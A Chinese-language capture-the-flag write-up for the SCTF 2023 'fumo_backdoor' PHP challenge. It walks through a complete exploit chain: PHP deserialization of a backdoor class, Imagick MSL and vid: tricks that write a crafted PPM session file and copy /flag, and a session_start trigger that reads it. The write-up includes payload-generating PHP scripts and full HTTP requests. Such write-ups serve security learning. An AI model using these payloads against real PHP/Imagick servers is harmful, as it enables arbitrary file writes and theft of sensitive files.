Contents

2023SCTF fumo_backdoor

题目信息

  • 题目名称:2023SCTF fumo_backdoor
  • flag信息:
    • /flag
  • 内部端口:80
  • 题目描述:
  • 附件:

_media_file_task_96a478b7-b206-403e-8430-886186a82097.zip

启动脚本

解压附件之后,进入文件夹,执行以下命令:

1
docker-compose up -d

或者用docker起也可以(比赛环境为不出网,建议还是docker-compose起,这题如果出网的话可以用Imagick类出网非预期RCE了)

1
docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/sctf2023_fumobackdoor

WriteUp

下载附件,审计源码,题目是不出网的

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162323793.png

题目开了imagick扩展,/var/www/html目录不可写

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162323796.png

再审计源代码,一共有三个功能点:

  • 反序列化
  • 删除/tmp目录下的所有内容(这算是题目的提示了)
  • 高亮当前文件

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162323797.png

再看题目给的后门类:

  • 其实这里sink点有两个,一个是readfile读取文件,另一个是new $a($b)格式的代码
  • 对于new $a($b)格式的代码,如果题目出网并且web目录可写的话,是可以直接RCE的,但是本题既不出网,web目录又不可写
  • 因此题目的sink点就在readfile了,那么如何触发__sleep()魔术方法呢,__sleep魔术方法会在序列化的时候被调用

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162323798.png

所以整个攻击流程如下:

首先把/tmp目录清空:

1
2
GET /?cmd=rm HTTP/1.1
Host: 1.1.1.1:49338

再制作一个PPM图片,选择PPM的原因是PPM末尾允许添加一些脏数据,并且该脏数据也不会被imagick抹去

session的内容生成方式如下:

  • 这里我们设置path属性为/tmp/res路径,这个路径就是/flag复制之后的路径
  • 重点看16行,这里的脏数据的数量其实是有一定要求的,在第12行设置了PPM图片的长和宽,即9*9像素,这里的脏数据+序列化数据的数量需要大于等于3*9*9且小于等于4*9*9(这里3和4可以简单理解为每个像素所占用的字节),具体原理不深究了,这里就当做记个结论(如果有其他想法,可以随时私信讨论)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php 
class fumo_backdoor {
    public $path = null;
    public $argv = null;
    public $func = null;
    public $class = null;
}
$a = new fumo_backdoor();
$a->path = "/tmp/res"; // 复制后的flag路径

$ppmhead = "P6
9 9
255
" ;
$sdata = "|" . serialize($a);
$ppm = $ppmhead . str_repeat("\x00", 3 * 9 * 9 - strlen($sdata)) . $sdata;
// print($ppm);
print(base64_encode($ppm));
//UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=

有关PPM格式示例文件规范如下(From ChatGPT):

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162323799.png

接着触发fumo_backdoor的__wakeup魔术方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php 
class fumo_backdoor {
    public $path = null;
    public $argv = null;
    public $func = null;
    public $class = null;
}
$a = new fumo_backdoor();
$a->func = array();
$a->argv = "vid:msl:/tmp/php*";
$a->class = "imagick";
echo urlencode(serialize($a));
//O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D

完整的HTTP请求如下:

  • 简单理解就是:利用imagick把read那一串的base64解码后存到/tmp/sess_user中
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D HTTP/1.1
Host: 1.1.1.1:49338
Content-Length: 697
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKqOZjSj0arlHgpur
Cookie: 

------WebKitFormBoundaryKqOZjSj0arlHgpur
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30="/>
<write filename="/tmp/sess_user"/>
</image>
------WebKitFormBoundaryKqOZjSj0arlHgpur--

接着利用Imagick的uyvy协议把/flag复制到/tmp/res中,选择uyvy协议的原因是该协议较为松散,当然用mvg协议也可以,这里推荐使用mvg协议,实测mvg协议可以完整的把/flag内容复制出来,而uyvy协议只能复制第5位开始的字符串(/flag内容如果为flag123123,复制到/tmp/res内容为123123

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D HTTP/1.1
Host: 1.1.1.1:49338
Content-Length: 315
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKqOZjSj0arlHgpur

------WebKitFormBoundaryKqOZjSj0arlHgpur
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="mvg:/flag"/>
<write filename="/tmp/res"/>
</image>
------WebKitFormBoundaryKqOZjSj0arlHgpur--

接着再反序列化读取文件,这里利用session_start方法启动session,并传入PHPSESSID序列化我们前面传入的/tmp/sess_user内容,触发__sleep魔术方法进而读取文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php 
class fumo_backdoor {
    public $path = null;
    public $argv = null;
    public $func = null;
    public $class = null;
}
$a = new fumo_backdoor();
$a->func = "session_start";
$a->path = "/tmp/res";
echo urlencode(serialize($a));
//O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3BN%3B%7D

完整的HTTP请求如下:

1
2
3
GET /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3BN%3B%7D HTTP/1.1
Host: 1.1.1.1:49338
Cookie: PHPSESSID=user

如果打不通就多打几次,有概率问题,如果试了很久都没打通,进容器一步步debug,或者在交流群里交流

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162323800.png

附: